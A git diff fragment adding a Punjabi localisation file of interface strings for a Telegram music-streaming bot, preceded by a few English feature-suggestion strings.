-sug_25 : "Bot has a feature called **Commands Delete Mode**. It deletes its executed commands automatically.\n\nEnable or disable deletemode from /settings [__Enabled by default__]"
-sug_26 : "You can change language of the bot to available languages for easy understanding.\n\nCommand: /language"
-sug_27 : "Bot has a feature called **Force Play**.\n\n**Force Play** stops the playing track on voice chat and starts playing the searched track instantly without disturbing/clearing queue.\n\nCommand: /playforce"
diff --git a/strings/langs/pa.yml b/strings/langs/pa.yml
new file mode 100644
index 0000000..7f57c32
--- /dev/null
+++ b/strings/langs/pa.yml
@@ -0,0 +1,308 @@
+name : 🇮🇳 ਪੰਜਾਬੀ
+
+general_1 : "» ਉਪਭੋਗਤਾ ਦੇ ਸੁਨੇਹੇ ਦਾ ਜਵਾਬ ਦਿਓ ਜਾਂ ਉਪਭੋਗਤਾ ਨਾਮ/ਉਪਭੋਗਤਾ ਆਈਡੀ ਦਿਓ।"
+general_2 : "» ਤੁਹਾਡੀ ਪੁੱਛਗਿੱਛ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਦੇ ਸਮੇਂ ਕੁਝ ਗਲਤ ਹੋ ਗਿਆ।\n\nਅਪਵਾਦ : {0}
"
+general_3 : "ਤੁਸੀਂ ਇੱਥੇ ਏਕ ਗੁਮਾਨ ਕੰਪਨੀ ਦੇ ਗੁਮਾਨਸ਼ੀਨ ਪ੍ਰਸ਼ਾਸਕ ਹੋ, ਆਪਣੇ ਉਪਭੋਗਤਾ ਖਾਤੇ ਦੇ ਉਪਯੋਗ ਲਈ ਮੁੜ ਵਾਪਸ ਯਤਨ ਕਰੋ."
+general_4 : "» ਤੁਹਾਨੂੰ ਵੀਡੀਓ ਚੈਟਾਂ ਨੂੰ ਪ੍ਰਬੰਧਿਤ ਕਰਨ ਦਾ ਅਨੁਮਤੀਆਂ ਨਹੀਂ ਹਨ.\n\nਐਡਮਿਨ ਕੈਸ਼ ਨੂੰ ਮੁੜ ਲੋਡ ਕਰੋ ਪਰਮੀਸ਼ਨ /reload ਦੁਆਰਾ"
+general_5 : "» ਬੋਟ ਵੀਡੀਓ ਚੈਟ 'ਤੇ ਸਟ੍ਰੀਮ ਨਹੀਂ ਕਰ ਰਿਹਾ ਹੈ."
+
+tg_1 : "{0} ਡਾਉਨਲੋਡਰ\n\nਫਾਇਲ ਆਕਾਰ : {1}\nਪੂਰਾ ਹੋ ਗਿਆ : {2}\nਪ੍ਰਤੀਸ਼ਤ : {3}%\n\nਵੇਗ : {4}/ਸ\nਈਟਾ : {5}"
+tg_2 : "ਸਫਲਤਾਪੂਰਕ ਡਾਊਨਲੋਡ ਹੋ ਗਿਆ ਹੈ, ਫਾਇਲ ਪ੍ਰੋਸੈਸਿੰਗ ਹੋ ਰਹੀ ਹੈ...\n\nਗੁਜਰੇ ਸਮੇਂ : {0}"
+tg_3 : "ਟੈਲੀਗ੍ਰਾਮ ਤੋਂ ਮੀਡੀਆ ਡਾਊਨਲੋਡ ਕਰਨ 'ਚ ਅਸਫਲ, ਕਿਰਪਾ ਕਰਕੇ ਮੁੜ ਕੋਸ਼ਿਸ਼ ਕਰੋ..."
+tg_4 : "» ਡਾਊਨਲੋਡ ਪਹਿਲਾਂ ਹੀ ਪੂਰਾ ਹੋ ਗਿਆ ਹੈ."
+tg_5 : "» ਡਾਊਨਲੋਡ ਪਹਿਲਾਂ ਹੀ ਪੂਰਾ ਹੋ ਗਿਆ ਹੈ ਜਾਂ ਰੱਦ ਕਿਤਾ ਗਿਆ ਹੈ."
+tg_6 : "» ਡਾਊਨਲੋਡ ਰੱਦ ਕਿਤਾ ਗਿਆ ਹੈ."
+tg_7 : "» ਡਾਊਨਲੋਡ ਰੱਦ ਕਰਨਵਾਲਾ: {0}"
+tg_8 : "ਡਾਊਨਲੋਡ ਰੋਕਣ ਵਿੱਚ ਅਸਫਲ ਰਹਿਾ ਹੈ."
+tg_9 : "ਚੱਲਦੇ ਡਾਊਨਲੋਡ ਕੰਮ ਦੀ ਜਾਂਚ ਕਰਨ 'ਚ ਅਸਫਲ ਰਹਿਆ ਹੈ..."
+
+call_1 : "» ਬੋਟ ਲਈ ਲਿੰਕ ਰਾਹੀਂ ਯੂਜ਼ਰਾਂ ਨੂੰ ਸੱਦਣ ਦੀ ਇਜ਼ਾਜ਼ਤ ਦੀ ਲੋੜ ਹੈ ਤਾਂ ਕਿ ਬੋਟ ਨੂੰ ਤੁਹਾਡੇ ਚੈਟ 'ਚ ਸ਼ਾਮਲ ਕਰ ਸਕੇ."
+call_2 : "{0} ਸਹਾਇਕ ਤੁਹਾਡੇ ਗਰੁੱਪ/ਚੈਨਲ 'ਚ ਪਾਬੰਦ ਹੈ.\n\nਆਈਡੀ : {1}
\nਨਾਮ : {2}\nਯੂਜ਼ਰਨੇਮ : @{3}\n\nਕਿਰਪਾ ਕਰਕੇ ਸਹਾਇਕ ਦੇ ਪ੍ਰਤਿਬੰਧ ਖੋਲ੍ਹੋ ਅਤੇ ਮੁੜ ਕੋਸ਼ਿਸ਼ ਕਰੋ."
+call_3 : "{0} ਸਹਾਇਕ ਨੂੰ ਤੁਹਾਡੇ ਚੈਟ 'ਚ ਸੱਦਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਅਸਫਲ ਹੋ ਗਈ ਹੈ.\n\nਕਾਰਨ : {1}
"
+call_4 : "ਕਿਰਪਾ ਕਰਕੇ ਉਡੀਕੋ...\n\n{0} ਸਹਾਇਕ ਨੂੰ ਤੁਹਾਡੇ ਚੈਟ 'ਚ ਸੱਦਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ..."
+call_5 : "{0} ਸਹਾਇਕ ਨੂੰ ਸਫਲਤਾਪੂਰਕ ਸੱਦਣ ਲਈ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ.\n\nਸਟਰੀਮ ਸ਼ੁਰੂ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ..."
+call_6 : "» ਸਟਰੀਮ ਬਦਲਣ 'ਚ ਅਸਫਲ ਹੋਇਆ, ਕਿਰਪਾ ਕਰਕੇ /skip ਵਰਤੋਂ ਕਰੋ ਜੀ ਤੁਸੀਂ ਫਿਰ ਗੀਤ ਤਬਦੀਲ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹੋ."
+call_7 : "» ਅਗਲੇ ਗੀਤ ਨੂੰ ਡਾਊਨਲੋਡ ਕੀਤਾ ਜਾ ਰਿਹਾ ਹੈ.\n\nਕਿਰਪਾ ਕਰਕੇ ਧੈਰਯ ਰੱਖੋ..."
+call_8 : "ਕੋਈ ਚਾਲਤੀ ਵੀਡੀਓਚੈਟ ਨਹੀਂ ਮਿਲੀ.\n\nਕਿਰਪਾ ਕਰਕੇ ਆਪਣੇ ਗਰੁੱਪ/ਚੈਨਲ ਵਿੱਚ ਵੀਡੀਓਚੈਟ ਸ਼ੁਰੂ ਕਰੋ ਅਤੇ ਫੇਰ ਕੋਸ਼ਿਸ਼ ਕਰੋ."
+call_9 : "ਸਹਾਇਕ ਹੀ ਪਹਿਲਾਂ ਵੀਡੀਓਚੈਟ ਵਿੱਚ ਹੈ.\n\nਜੇ ਸਹਾਇਕ ਵੀਡੀਓਚੈਟ ਵਿੱਚ ਨਹੀਂ ਹੈ, ਤਾਂ ਕਿਰਪਾ ਕਰਕੇ /reboot
ਭੇਜੋ ਅਤੇ ਫਿਰ ਖੇਡੋ."
+call_10 : "ਟੈਲੀਗ੍ਰਾਮ ਸਰਵਰ ਗਲਤੀ\n\nਟੈਲੀਗ੍ਰਾਮ ਵਿੱਚ ਕੁਝ ਅੰਦਰੂਨੀ ਸਮੱਸਿਆਵਾਂ ਹਨ, ਕਿਰਪਾ ਕਰਕੇ ਫੇਰ ਖੇਡੋ ਜਾਂ ਆਪਣੇ ਗਰੁੱਪ ਦੀ ਵੀਡੀਓਚੈਟ ਨੂੰ ਮੁੜ ਚਾਲਾਓ."
+
+auth_1 : "» ਤੁਸੀਂ ਆਪਣੇ ਗਰੁੱਪ 'ਚ ਸਿਰਫ 25 ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਰੱਖ ਸਕਦੇ ਹੋ."
+auth_2 : "» {0} ਨੂੰ ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਸੂਚੀ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ."
+auth_3 : "{0} ਪਹਿਲਾਂ ਹੀ ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਸੂਚੀ 'ਚ ਹੈ."
+auth_4 : "» {0} ਨੂੰ ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਸੂਚੀ ਤੋਂ ਹਟਾ ਦਿੱਤਾ ਗਿਆ ਹੈ."
+auth_5 : "{0} ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਸੂਚੀ 'ਚ ਨਹੀਂ ਹੈ."
+auth_6 : "» ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਸੂਚੀ ਲਵਾ ਰਹੀ ਹੈ..."
+auth_7 : "» ਮੰਜੂਰ ਉਪਭੋਗਤਾਵਾਂ ਦੀ ਸੂਚੀ {0} ਵਿੱਚ:\n\n"
+auth_8 : "↬ ਦੁਆਰਾ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ :"
+
+reload_1 : "» ਤੁਸੀਂ ਕੇਵਲ 3 ਮਿੰਟਾਂ 'ਚ ਇੱਕ ਵਾਰ ਐਡਮਿਨ ਕੈਸ਼ ਰੀਫ੍ਰੈਸ਼ ਕਰ ਸਕਦੇ ਹੋ.\n\nਕਿਰਪਾ ਕਰਕੇ {0} ਤੋਂ ਬਾਅਦ ਮੁੜ ਕੋਸ਼ਿਸ਼ ਕਰੋ."
+reload_2 : "» ਐਡਮਿਨ ਕੈਸ਼ ਸਫਲਤਾਪੂਰਕ ਰੀਫ੍ਰੈਸ਼ ਹੋ ਗਈ ਹੈ."
+reload_3 : "» ਐਡਮਿਨ ਕੈਸ਼ ਰੀਫ੍ਰੈਸ਼ ਕਰਨ 'ਚ ਅਸਫਲ ਹੋ ਗਈ ਹੈ, ਕ੍ਰਿਪਾ ਕਰਕੇ ਯਕੀਨੀ ਬਣਾਓ ਕਿ ਬੋਟ ਤੁਹਾਡੇ ਚੈਟ ਵਿੱਚ ਐਡਮਿਨ ਹੈ."
+reload_4 : "» ਕਿਰਪਾ ਕਰਕੇ ਉਡੀਕੋ...\n\n{0} ਨੂੰ ਮੁੜ ਚਾਲਾਉਣ ਲਈ ਰੀਬੂਟ ਹੋ ਰਿਹਾ ਹੈ."
+reload_5 : "{0} ਨੂੰ ਤੁਹਾਡੇ ਚੈਟ ਲਈ ਸਫਲਤਾਪੂਰਕ ਮੁੜ ਚਾਲਾ ਦਿੱਤਾ ਗਿਆ ਹੈ.\n\nਮੁੜ ਖੇਡਣਾ ਸ਼ੁਰੂ ਕਰੋ..."
+
+admin_1 : "» ਕੀ ਤੁਸੀਂ ਯਾਦ ਰੱਖਦੇ ਹੋ ਕਿ ਤੁਸੀਂ ਸਟ੍ਰੀਮ ਨੂੰ ਚਲਾਇਆ ਸੀ?"
+admin_2 : "➻ ਸਟ੍ਰੀਮ ਰੋਕੀ ਗਈ 🎄\n│ \n└ਦੁਆਰਾ : {0} 🥀"
+admin_3 : "» ਕੀ ਤੁਸੀਂ ਯਾਦ ਰੱਖਦੇ ਹੋ ਕਿ ਤੁਸੀਂ ਸਟ੍ਰੀਮ ਰੋਕੀ ਸੀ?"
+admin_4 : "➻ ਸਟ੍ਰੀਮ ਚਾਲੀ ਗਈ 🎄\n│ \n└ਦੁਆਰਾ : {0} 🥀"
+admin_5 : "➻ ਸਟ੍ਰੀਮ ਮੁੱਕ ਗਈ/ਰੋਕੀ ਗਈ 🎄\n│ \n└ਦੁਆਰਾ : {0} 🥀"
+admin_6 : "➻ ਸਟ੍ਰੀਮ ਛੱਡ ਦਿੱਤੀ 🎄\n│ \n└ਦੁਆਰਾ : {0} 🥀\n\n» {1} ਵਿੱਚ ਹੋਰ ਕੁਈ ਕਤਾਰ 'ਚ ਹੋਰ ਕੋਈ ਟਰੈਕ ਨਹੀਂ ਬਚੇ, ਵੀਡੀਓਚੈਟ ਤੋਂ ਬਾਹਰ ਆ ਰਿਹਾ ਹੈ."
+admin_7 : "ਸਟ੍ਰੀਮ ਨੂੰ {0} 'ਤੇ ਤਬਦੀਲ ਕਰਨ 'ਚ ਗਲਤੀ."
+admin_8 : "» ਕਿਰਪਾ ਕਰਕੇ /loop disable
ਦੀ ਸਹਾਇਤਾ ਨਾਲ ਲੂਪ ਪਲੇ ਨੂੰ ਬੰਦ ਕਰੋ ਅਤੇ ਫਿਰ ਸਕਿਪ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੋ."
+admin_9 : "ਕਿਰਪਾ ਕਰਕੇ ਸਕਿਪ ਲਈ ਵਿਸ਼ਿਸ਼ ਨੰਬਰ ਵਰਤੋ, ਜਿਵੇਂ 1, 2, 4..."
+admin_10 : "ਕਮ ਤੋਂ ਕਮ 2 ਟ੍ਰੈਕਾਂ ਦੀ ਜ਼ਰੂਰਤ ਹੈ ਜੋ ਵਿਸ਼ਿਸ਼ ਸਕਿਪ ਲਈ ਲੱਗੇ।\n\nਕਤਾਰ ਚੈੱਕ ਕਰੋ : /queue"
+admin_11 : "» ਕਤਾਰ 'ਚ ਵਿਸ਼ਿਸ਼ ਸਕਿਪ ਲਈ ਕੋਈ ਟ੍ਰੈਕ ਨਹੀਂ ਹੈ।\n\nਕਿਰਪਾ ਕਰਕੇ 1 ਅਤੇ {0} ਵਿੱਚ ਸਕਿਪ ਕਰੋ"
+admin_12 : "» ਵਿਸ਼ਿਸ਼ ਟ੍ਰੈਕ ਤੇ ਸਕਿਪ ਨਹੀਂ ਕੀਤਾ ਗਿਆ।\n\nਬਾਕੀ ਕਤਾਰ ਚੈੱਕ ਕਰੋ : /queue"
+admin_13 : "» ਕਿਰਪਾ ਕਰਕੇ ਏਡਮਿਨ ਕੈਸ਼ ਨੂੰ ਰੀਲੋਡ ਕਰੋ : /reload"
+admin_14 : "» ਤੁਹਾਡੇ ਕੋਲ ਵੀਡੀਓ ਚੈੱਟ ਪ੍ਰਬੰਧਿਤ ਕਰਨ ਦੀ ਅਨੁਮਤੀ ਨਹੀਂ ਹੈ।\n\nਕਿਰਪਾ ਕਰਕੇ ਏਡਮਿਨ ਕੈਸ਼ ਨੂੰ ਰੀਲੋਡ ਕਰੋ : /reload"
+admin_15 : "» ਸ਼ੁੱਧੀ ਨਹੀਂ ਹੋ ਰਹੀ।\n\nਕਤਾਰ ਦੇ ਅੱਪਰ ਚੈੱਕ ਕਰੋ : /queue"
+admin_16 : "» ਕਤਾਰ ਸ਼ੁੱਧੀ ਹੋ ਗਈ ਹੈ {0} ਵੱਲੋਂ।\n\nਸ਼ੁੱਧੀ ਕਤਾਰ ਚੈੱਕ ਕਰੋ : /queue"
+admin_17 : "ਉਦਾਹਰਣ :\n\n/loop enable
/disable
\n/loop 10
/9
/8
/7
"
+admin_18 : "» ਲੂਪ {0}
ਸਮੇਂ ਲਈ ਚਾਲੀ ਗਈ ਹੈ {1} ਵੱਲੋਂ।"
+admin_19 : "» ਲੂਪ ਪਲੇ ਬੰਦ ਕੀਤੀ ਗਈ ਹੈ {0} ਵੱਲੋਂ।"
+admin_20 : "ਉਦਾਹਰਣ :\n\n/seek ਜਾਂ /seekback [ਸਮਾਂ ਸਕਿਅੰਤਾ ਸਕਿੰਟਾਂ ਵਿੱਚ]"
+admin_21 : "» ਕਿਰਪਾ ਕਰਕੇ ਸਕੀਨਗ ਲਈ ਨੰਬਰੀਕ ਅੰਕ ਵਰਤੋ."
+admin_22 : "» ਲਾਈਵ ਸਟਰੀਮ ਨੂੰ ਸੀਕ ਨਹੀਂ ਕੀਤਾ ਜਾ ਸਕਦਾ."
+admin_23 : "» ਘੱਟ ਮੁਦਾਂ ਨਾਲ ਸੀਕ ਕੋਸ਼ਿਸ਼ ਕਰੋ।\n\n{0} ਵਿੱਚ ਖੇਡਿਆ {1} ਮਿੰਟਾਂ ਤੱਕ."
+admin_24 : "ਸੀਕ ਕੀਤਾ ਜਾ ਰਿਹਾ ਹੈ...\n\nਕਿਰਪਾ ਕਰਕੇ ਬਾਹਰ ਜਾਣ ਵਾਲੇ ਨਾਲ ਵਾਜਾ ਕਰੋ..."
+admin_25 : "» ਸਟਰੀਮ ਸਫਲਤਾਪੂਰਕ ਸੀਕ ਕੀਤੀ ਗਈ ਹੈ।\n\nਮੁਦਾਂ : {0} ਮਿੰਟ\nਵਾਲੇ : {1}"
+admin_26 : "ਸੀਕ ਨਹੀਂ ਕੀਤੀ।"
+admin_27 : "» ਸਿਰਫ ਯੂਟਿਊਬ ਸਟਰੀਮ ਦੀ ਗਤੀ ਹੁਣੇ ਤੱਕ ਨਿਯੰਤਰਿਤ ਨਹੀਂ ਹੋ ਸਕਦੀ।"
+admin_28 : "{0} ਗਤੀ ਨਿਯੰਤਰਣ ਪੈਨਲ\n\nਮੌਜੂਦਾ ਚੱਲਦੇ ਸਟਰੀਮ ਦੀ ਗਤੀ ਬਦਲਣ ਲਈ ਹੇਠਲੀਆਂ ਬਟਨਾਂ 'ਤੇ ਕਲਿਕ ਕਰੋ।"
+admin_29 : "» ਬੋਟ ਪਹਿਲਾਂ ਹੀ ਸਧਾਰਨ ਗਤੀ 'ਤੇ ਚੱਲਦਾ ਹੈ।"
+admin_30 : "» ਕਿਰਪਾ ਕਰਕੇ ਇੰਤਜ਼ਾਰ ਕਰੋ...\n\nਕੋਈ ਹੋਰ ਵੀ ਮੁਦਾਂ ਬਦਲਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰ ਰਿਹਾ ਹੈ।"
+admin_31 : "ਗਤੀ ਬਦਲੀ ਜਾ ਰਹੀ ਹੈ..."
+admin_32 : "» ਮੌਜੂਦਾ ਚੱਲ ਰਹੇ ਮੁਦੇ ਦੀ ਗਤੀ ਬਦਲਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ...\n\nਨੇਤਾਂ ਦੀ ਬੇਨਤੀ: {0}"
+admin_33 : "» ਸਟ੍ਰੀਮ ਦੀ ਵੇਗ ਬਦਲਣ ਵਿੱਚ ਅਸਫਲ ਹੋਇਆ।"
+admin_34 : "» ਚਲਦੇ ਸਟ੍ਰੀਮ ਦੀ ਵੇਗ ਬਦਲੀ ਗਈ ਹੈ {0}x\n\nਬਾਇਰਲੇਨਾਂ : {1}"
+admin_35 : "ਵੋਟਿੰਗ ਸਮਾਪਤ ਹੋ ਗਈ ਹੈ ਕਿਉਂਕਿ ਵੋਟਿੰਗ ਦੀ ਆਪੋਸ਼ਣ ਦੇ ਹੋਈ ਹੈ ਜਿਸ ਸੰਗੀਤ ਲਈ ਵੋਟਿੰਗ ਦਿੱਤੀ ਗਈ ਸੀ।"
+admin_36 : "ਇਸ ਕ੍ਰਿਆ ਨੂੰ ਪੂਰਾ ਕਰਨ ਵਿੱਚ ਅਸਫਲ ਹੋਇਆ ਕਿਉਂਕਿ ਵੋਟਿੰਗ ਲਈ ਮਿਲਦੇ ਹੋਏ ਸੰਗੀਤ ਵਿੱਚ ਮੁੱਖ ਸਿਖਰ ਵਾਰਤਾਂ ਦੀ ਬੰਦੋਬਸ਼ਤ ਹੈ ਜੋ ਇਥੇ ਸਮਾਪਤ ਹੋ ਗਈ ਹੈ ਜਾਂ ਰੁਕੀ ਹੋਈ ਹੈ।"
+admin_37 : "ਸੰਗੀਤ ਵਿੱਚ {0}
ਵੋਟਿੰਗਾਂ ਪ੍ਰਾਪਤ ਹੋਈਆਂ ਹਨ।"
+admin_38 : "» 1 ਵੋਟ ਜੋੜਿਆ ਗਿਆ ਹੈ।"
+admin_39 : "» 1 ਵੋਟ ਹਟਾਇਆ ਗਿਆ ਹੈ।"
+admin_40 : "ਵੋਟ ਦਿੱਤਾ ਗਿਆ ਹੈ।"
+
+start_1 : "{0} ਜੀ ਜਿੰਦਾ ਹੈ ਵੀ.\n\n✫ ਅਪਟਾਈਮ : {1}"
+start_2 : "ਹੇਲੋ {0}, 🥀\n\n๏ ਇਹ {1} ਹੈ !\n\n➻ ਇੱਕ ਤੇਜ਼ ਅਤੇ ਤਾਕਤਵਰ ਟੈਲੀਗ੍ਰਾਮ ਸੰਗੀਤ ਪਲੇਅਰ ਬੋਟ ਜਿਸ ਵਿੱਚ ਕੁਝ ਸ਼ਾਨਦਾਰ ਵੈਬਸਾਇਟਾਂ ਹਨ।\n\nਸਮਰਥਿਤ ਪਲੈਟਫਾਰਮ : ਯੂਟਿਊਬ, ਸਪੋਟੀਫਾਈ, ਰੈਸੋ, ਐਪਲ ਮਿਊਜ਼ਿਕ ਅਤੇ ਸਾਊਂਡਕਲੌਡ।\n──────────────────\n๏ ਮੇਰੀ ਮੋਡਿਊਲਾਂ ਅਤੇ ਕੰਮਾਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਲਈ ਮੱਦਦ ਬਟਨ ਤੇ ਕਲਿਕ ਕਰੋ।"
+start_3 : "ਹੇਲੋ {0},\nਇਹ {1} ਹੈ\n\nਧੰਨਵਾਦ {2} ਵਿਚ ਮੈਨੂੰ ਸ਼ਾਮਲ ਕਰਨ ਲਈ, {3} ਹੁਣ ਇਸ ਗੱਲ ਦਾ ਪਾਲਣ ਕਰ ਸਕਦੇ ਹਨ ਕਿ ਆਪ ਵੀਡੀਓ ਵਿੱਚ ਗੀਤ ਪਲੇ ਕਰ ਸਕਦੇ ਹੋ।"
+start_4 : "🎄 ਸੁਪਰਗਰੂਪ ਦੀ ਲੋੜ ਹੈ 🎄\n\nਕਿਰਪਾ ਕਰਕੇ ਆਪਣੇ ਗਰੁੱਪ ਨੂੰ ਸੁਪਰਗਰੂਪ ਵਿੱਚ ਤਬਦੀਲ ਕਰੋ ਅਤੇ ਫਿਰ ਮੈਨੂੰ ਮੁੜ ਸ਼ਾਮਲ ਕਰੋ।\n\nਸੁਪਰਗਰੂਪ ਬਣਾਉਣ ਲਈ ਕਿਵੇਂ ?\n- ਆਪਣੇ ਗਰੁੱਪ ਚੈਟ ਦੀ ਇਤਿਹਾਸ ਨੂੰ ਏਕ ਵਾਰ ਦਿੱਖਤਾ ਬਣਾਓ।"
+start_5 : "↝ ਬਲੈਕਲਿਸਟਡ ਚੈਟ ↜\n\nਇਹ ਚੈਟ {0} ਡੇਟਾਬੇਸ 'ਤੇ ਬਲੈਕਲਿਸਟ ਹੈ।\nਤੁਹਾਨੂੰ ਕਿਸੇ ਦੂਜੇ ਸੂਡੋ ਯੂਜ਼ਰ ਦੀ ਵੇਬਸਾਈਟ ਵੀਜ਼ਿਟ ਕਰਨ ਲਈ ਅਨੁਰੋਧ ਕਰਦਾ ਹੈ, ਜਾਂ ਸੁਪੋਰਟ ਚੈਟ 'ਤੇ ਜਾਓ।"
+start_6 : "😲 ਟ੍ਰੈਕ ਜਾਣਕਾਰੀ 😲\n\n📌 ਸ਼ੀਰਸ਼ਕ : {0}\n\n⏳ ਮੁਦਤ : {1} ਮਿੰਟ\n👀 ਵੇਖੇ ਗਏ : {2}
\n⏰ ਪ੍ਰਕਾਸ਼ਿਤ ਹੋਇਆ ਸਮਾਂ : {3}\n📎 ਚੈਨਲ : {5}\n\n🥀 ਖੋਜ ਸ਼ਕਤੀਵਾਨ ਬਣਾਇਆ ਗਿਆ ਹੈ {6}"
+
+help_1 : "ਸੰਮਰਥਨ ਲਈ ਕੈਟੇਗਰੀ ਚੁਣੋ ਜਿਸ ਵਿੱਚ ਤੁਸੀਂ ਮਦਦ ਪ੍ਰਾਪਤ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹੋ। ਆਪਣੇ ਸਸਪੈਂਟ ਨੂੰ ਪੂਛੋ ਸੰਮਰਥਨ ਚੈਟ\n\nਸਭ ਕੰਮਾਂਡਾਂ /
ਨਾਲ ਵਰਤੀ ਜਾ ਸਕਦੀਆਂ ਹਨ।"
+help_2 : "ਆਪਣੇ ਪ੍ਰਾਈਵੇਟ ਚੈਟ ਵਿੱਚ ਮੇਰੇ ਮਦਦ ਮੀਨੂ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਹੇਲਪ ਮੇਨੂ ਉੱਤੇ ਦਿੱਤੇ ਗਏ ਬਟਨ 'ਤੇ ਕਲਿਕ ਕਰੋ।"
+
+lang_1 : "» ਮੈਂਨੂੰ ਜੇ ਕਿਸੇ ਸਮੂਹ ਦੀ ਮੂਲ ਭਾਾ ਬਣਾਉਣੀ ਹੈ, ਤਾਂ ਕਿਰਪਾ ਕਰਕੇ ਉਸ ਸਮੂਹ ਦੀ ਭਾਾ ਚੁਣੋ :"
+lang_2 : "ਭਾਸ਼ਾ ਸਫ਼ਲਤਾਪੂਰਕ ਬਦਲੀ ਗਈ ਹੈ।"
+lang_3 : "ਭਾਸ਼ਾ ਬਦਲਣ ਵਿੱਚ ਅਸਫਲ ਹੋਇਆ।"
+lang_4 : "ਤੁਸੀਂ ਹੀ ਉਸੇ ਭਾਸ਼ਾ 'ਤੇ ਹੋ।"
+
+setting_1 : "{0} ਸੈਟਿੰਗਾਂ ਪੈਨਲ\n\nਚੈਟ ਆਈਡੀ : {1}
\nਚੈਟ ਨਾਂ : {2}\n\nਸੈਟਿੰਗਾਂ ਬਦਲਣ ਲਈ ਹੇਠਾਂ 'ਤੇ ਬਟਨਾਂ 'ਤੇ ਕਲਿਕ ਕਰੋ।"
+setting_2 : "» ਡਾਇਰੈਕਟ: ਖੋਜ ਪੁੱਛ ਤੇ ਖੋਜ ਜ਼ਿਦਾ ਸਵਰੂਪੋ 'ਤੇ ਸੀਧਾ ਚੱਲਦੀ ਹੈ।\n\n» ਇਨਲਾਈਨ: ਵੀਡੀਓ ਅਤੇ ਆਡੀਓ ਵਿੱਚ ਚੁਣਨ ਲਈ ਇਨਲਾਈਨ ਬਟਨ ਪ੍ਰਦਾਨ ਕਰਦੇ ਹਨ।"
+setting_3 : "» ਹਰ ਕੋਈ: ਇਸ ਸਮੂਹ ਵਿੱਚ ਹਰ ਕੋਈ ਐਡਮਿਨ ਕੰਮਾਂਡਾਂ [ਸਕਿਪ, ਪੌਜ, ਰੀਜ਼ਿਊਮ ਆਦਿ] ਵਰਤ ਸਕਦਾ ਹੈ।\n\n» ਸਿਰਫ ਐਡਮਿਨ: ਸਿਰਫ ਐਡਮਿਨਾਂ ਅਤੇ ਮਨਜ਼ੂਰ ਯੂਜ਼ਰ ਐਡਮਿਨ ਕੰਮਾਂਡਾਂ ਵਰਤ ਸਕਦੇ ਹਨ।"
+setting_4 : "» ਕੋਈ ਮਨਜ਼ੂਰ ਯੂਜ਼ਰ ਨਹੀਂ ਮਿਲੇ।"
+setting_5 : "» ਗਰੁੱਪ: ਉਸ ਗਰੁੱਪ ਵਿੱਚ ਸੰਗੀਤ ਚਲਾਉਂਦਾ ਹੈ ਜਿੱਥੇ ਆਦੇਸ਼ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ।\n\n» ਚੈਨਲ: ਉਸ ਚੈਨਲ 'ਚ ਸੰਗੀਤ ਚਲਾਉਂਦਾ ਹੈ ਜਿਥੇ ਤੁਸੀਂ ਚਾਹੁੰਦੇ ਹੋ। /channelplay ਦੁਆਰਾ ਚੈਨਲ ਆਈਡੀ ਸੈਟ ਕਰੋ"
+setting_6 : "» ਹਰ ਕੋਈ : ਇਸ ਗਰੁੱਪ ਵਿੱਚ ਹਾਜ਼ਰ ਕੋਈ ਵੀ ਮਿਊਜ਼ਿਕ ਚਲਾ ਸਕਦਾ ਹੈ।\n\n» ਸਿਰਫ ਐਡਮਿਨ : ਇਸ ਗਰੁੱਪ ਵਿੱਚ ਮਿਊਜ਼ਿਕ ਸਿਰਫ ਐਡਮਿਨਸ ਵੀ ਚਲਾ ਸਕਦੀ ਹੈ।"
+setting_7 : "» ਕਿਰਪਾ ਕਰਕੇ /channelplay ਦੁਆਰਾ ਚੈਨਲ ਆਈਡੀ ਨੂੰ ਨਿਰਧਾਰਿਤ ਕਰੋ"
+setting_8 : "ਜਦੋਂ ਇਹ ਮੋਡ ਸਮਰੱਥਿਤ ਹੁੰਦਾ ਹੈ, ਤਾਂ ਬਿਨਾ ਐਡਮਿਨ ਹੱਕਾਂ ਵਾਲੇ ਲੋਕ ਕੁਝ ਸਮੇਂ ਬਾਅਦ ਐਡਮਿਨ ਕਮਾਂਡ ਵਰਤ ਸਕਦੇ ਹਨ."
+setting_9 : "ਮੌਜੂਦਾ ਅੱਪਵੋਟਾਂ ਦੀ ਗਿਣਤੀ ਜੋ ਐਡਮਿਨ ਕਮਾਂਡ ਵਰਤਣ ਲਈ ਦੀ ਜ਼ਰੂਰੀ ਹੈ: {0}"
+setting_10 : "ਵੋਟਿੰਗ ਮੋਡ ਬੰਦ ਹੈ."
+setting_11 : "ਸਭ ਤੋਂ ਘੱਟ ਅੱਪਵੋਟ ਗਿਣਤੀ 2 ਹੋ ਸਕਦੀ ਹੈ। ਤੁਸੀਂ 2 ਤੋਂ ਘੱਟ ਸੈਟ ਨਹੀਂ ਕਰ ਸਕਦੇ"
+setting_12 : "ਸਭ ਤੋਂ ਵੱਧ ਅੱਪਵੋਟ ਗਿਣਤੀ 15 ਹੋ ਸਕਦੀ ਹੈ। ਤੁਸੀਂ 15 ਤੋਂ ਵੱਧ ਸੈਟ ਨਹੀਂ ਕਰ ਸਕਦੇ"
+
